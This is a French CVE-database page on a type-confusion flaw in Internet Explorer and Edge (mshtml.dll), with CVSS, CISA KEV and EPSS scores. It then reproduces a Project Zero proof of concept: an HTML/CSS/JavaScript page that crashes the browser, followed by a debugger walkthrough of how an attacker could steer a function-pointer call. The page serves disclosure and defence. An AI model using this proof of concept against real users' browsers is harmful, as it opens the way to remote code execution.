CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Microsoft Internet Explorer 10 and 11 and Microsoft Edge have a type confusion issue in the Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement function in mshtml.dll, which allows remote attackers to execute arbitrary code via vectors involving a crafted Cascading Style Sheets (CSS) token sequence and crafted JavaScript code that operates on a TH element.
Access of Resource Using Incompatible Type ('Type Confusion') The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
8.1
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
High
successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
7.6
AV:N/AC:H/Au:N/C:C/I:C/A:C
nvd@nist.gov
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Microsoft Edge and Internet Explorer Type Confusion Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2022-03-27 22h00 +00:00
Action attendue : 2022-04-17 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
70.62%
–
–
–
–
2021-09-05
–
70.62%
–
–
–
2022-01-09
–
70.62%
–
–
–
2022-01-30
–
70.62%
–
–
–
2022-02-06
–
–
86.57%
–
–
2022-04-03
–
–
96.09%
–
–
2023-03-12
–
–
–
97.28%
–
2023-08-27
–
–
–
97.31%
–
2024-03-10
–
–
–
97.27%
–
2024-04-21
–
–
–
97.23%
–
2024-06-02
–
–
–
97.28%
–
2024-07-21
–
–
–
96.98%
–
2024-09-15
–
–
–
96.93%
–
2024-12-22
–
–
–
94.32%
–
2025-02-23
–
–
–
94.23%
–
2025-01-19
–
–
–
94.32%
–
2025-02-23
–
–
–
94.23%
–
2025-03-18
–
–
–
–
88.47%
2025-03-30
–
–
–
–
87.52%
2025-03-30
–
–
–
–
87.52,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2017-02-23 23h00 +00:00 Auteur : Google Security Research EDB Vérifié : Yes
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1011
PoC:
-->
<!-- saved from url=(0014)about:internet -->
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
</script>
<body onload="setInterval(boom,100)">
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="5" width=0></th>
<th class="class2" width=0><div class="class2"></div></th>
<!--
Note: The analysis below is based on an 64-bit IE (running in single process mode) running on Windows Server 2012 R2. Microsoft Symbol Server has been down for several days and that's the only configuration for which I had up-to-date symbols. However Microsoft Edge and 32-bit IE 11 should behave similarly.
The PoC crashes in
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement
when reading from address 0000007800000070
(5fc.8a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:
00007ffe`8f330a59 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=????????????????
With the following call stack:
Child-SP RetAddr Call Site
00000071`0e75b960 00007ffe`8f3f1836 MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4
00000071`0e75b9c0 00007ffe`8e9ba9df MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x641fc
00000071`0e75ba50 00007ffe`8f05393f MSHTML!Layout::FlowBoxBuilder::MoveToNextPosition+0x1b5
00000071`0e75bb10 00007ffe`8f0537e9 MSHTML!Layout::LayoutBuilder::EnterBlock+0x147
00000071`0e75bbb0 00007ffe`8f278243 MSHTML!Layout::LayoutBuilder::Move+0x77
00000071`0e75bbe0 00007ffe`8e9b364f MSHTML!Layout::LayoutBuilderDriver::BuildPageLayout+0x19d
00000071`0e75bcc0 00007ffe`8e9b239c MSHTML!Layout::PageCollection::FormatPage+0x1f3
00000071`0e75be60 00007ffe`8e9affd1 MSHTML!Layout::PageCollection::LayoutPagesCore+0x38c
00000071`0e75c030 00007ffe`8e9b099b MSHTML!Layout::PageCollection::LayoutPages+0x102
00000071`0e75c090 00007ffe`8e9aff45 MSHTML!CMarkupPageLayout::CalcPageLayoutSize+0x50b
00000071`0e75c220 00007ffe`8ea74047 MSHTML!CMarkupPageLayout::CalcTopLayoutSize+0xd5
00000071`0e75c2f0 00007ffe`8ea73c95 MSHTML!CMarkupPageLayout::DoLayout+0xf7
00000071`0e75c360 00007ffe`8e98066d MSHTML!CView::ExecuteLayoutTasks+0x17c
00000071`0e75c3f0 00007ffe`8e983b7a MSHTML!CView::EnsureView+0x43f
00000071`0e75c4d0 00007ffe`8e97f82b MSHTML!CPaintController::EnsureView+0x58
00000071`0e75c500 00007ffe`8ea2e47e MSHTML!CPaintBeat::OnBeat+0x41b
00000071`0e75c580 00007ffe`8ea2e414 MSHTML!CPaintBeat::OnPaintTimer+0x5a
00000071`0e75c5b0 00007ffe`8f2765dc MSHTML!CContainedTimerSink<CPaintBeat>::OnTimerMethodCall+0xdb
00000071`0e75c5e0 00007ffe`8e969d52 MSHTML!GlobalWndOnPaintPriorityMethodCall+0x1f7
00000071`0e75c690 00007ffe`afc13fe0 MSHTML!GlobalWndProc+0x1b8
00000071`0e75c710 00007ffe`afc13af2 USER32!UserCallWinProcCheckWow+0x1be
00000071`0e75c7e0 00007ffe`afc13bbe USER32!DispatchClientMessage+0xa2
00000071`0e75c840 00007ffe`b2352524 USER32!_fnDWORD+0x3e
00000071`0e75c8a0 00007ffe`afc1cfaa ntdll!KiUserCallbackDispatcherContinue
00000071`0e75c928 00007ffe`afc1cfbc USER32!ZwUserDispatchMessage+0xa
00000071`0e75c930 00007ffe`95d1bb28 USER32!DispatchMessageWorker+0x2ac
00000071`0e75c9b0 00007ffe`95d324cb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555
00000071`0e75fc30 00007ffe`aa81572f IEFRAME!LCIETab_ThreadProc+0x3a3
00000071`0e75fd60 00007ffe`9594925f iertutil!Microsoft::WRL::ActivationFactory<Microsoft::WRL::Implements<Microsoft::WRL::FtmBase,Windows::Foundation::IUriRuntimeClassFactory,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil>,Windows::Foundation::IUriEscapeStatics,Microsoft::WRL::Details::Nil,0>::GetTrustLevel+0x5f
00000071`0e75fd90 00007ffe`b1d313d2 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f
00000071`0e75fde0 00007ffe`b22d54e4 KERNEL32!BaseThreadInitThunk+0x22
00000071`0e75fe10 00000000`00000000 ntdll!RtlUserThreadStart+0x34
And the following register values:
rax=0000007800000070 rbx=0000000000000064 rcx=0000007800000050
rdx=0000000000000048 rsi=00000079164a8f01 rdi=00007ffe8f9f81b0
rip=00007ffe8f330a59 rsp=000000710e75b960 rbp=0000007916492fe8
r8=0000007916490ec0 r9=000000710e75b980 r10=00000079164a8f30
r11=000000710e75b928 r12=000000710e75c000 r13=0000007916450fc8
r14=000000791648ec60 r15=0000007911ec9f50
Edge should crash when reading the same address while 32-bit IE tab process should crash in the same place but when reading a lower address.
Let's take a look at the code around the rip of the crash.
00007ffe`8f330a51 488bcd mov rcx,rbp
00007ffe`8f330a54 e8873c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)
00007ffe`8f330a59 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=????????????????
00007ffe`8f330a5d 743d je MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xe7 (00007ffe`8f330a9c)
00007ffe`8f330a5f 488bcd mov rcx,rbp
00007ffe`8f330a62 e8793c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)
00007ffe`8f330a67 488b30 mov rsi,qword ptr [rax]
00007ffe`8f330a6a 488b06 mov rax,qword ptr [rsi]
00007ffe`8f330a6d 488bb848030000 mov rdi,qword ptr [rax+348h]
00007ffe`8f330a74 488bcf mov rcx,rdi
00007ffe`8f330a77 ff155b95d700 call qword ptr [MSHTML!_guard_check_icall_fptr (00007ffe`900a9fd8)]
00007ffe`8f330a7d 488bce mov rcx,rsi
00007ffe`8f330a80 ffd7 call rdi
On 00007ffe`8f330a51 rxc is read from rbp and MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called which sets up rax. rcx is supposed to point to another object type, but in the PoC it points to an array of 32-bit integers allocated in Array<Math::SLayoutMeasure>::Create. This array stores offsets of table columns and the values can be controlled by an attacker (with some limitations).
On 00007ffe`8f330a59 the crash occurs because rax points to uninitialized memory.
However, an attacker can affect rax by modifying table properties such as border-spacing and the width of the firs th element. Let's see what happens if an attacker can point rax to the memory he/she controls.
Assuming an attacker can pass a check on line 00007ffe`8f330a59, MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called again with the same arguments. After that, through a series of dereferences starting from rax, a function pointer is obtained and stored in rdi. A CFG check is made on that function pointer and, assuming it passes, the attacker-controlled function pointer is called on line 00007ffe`8f330a80.
-->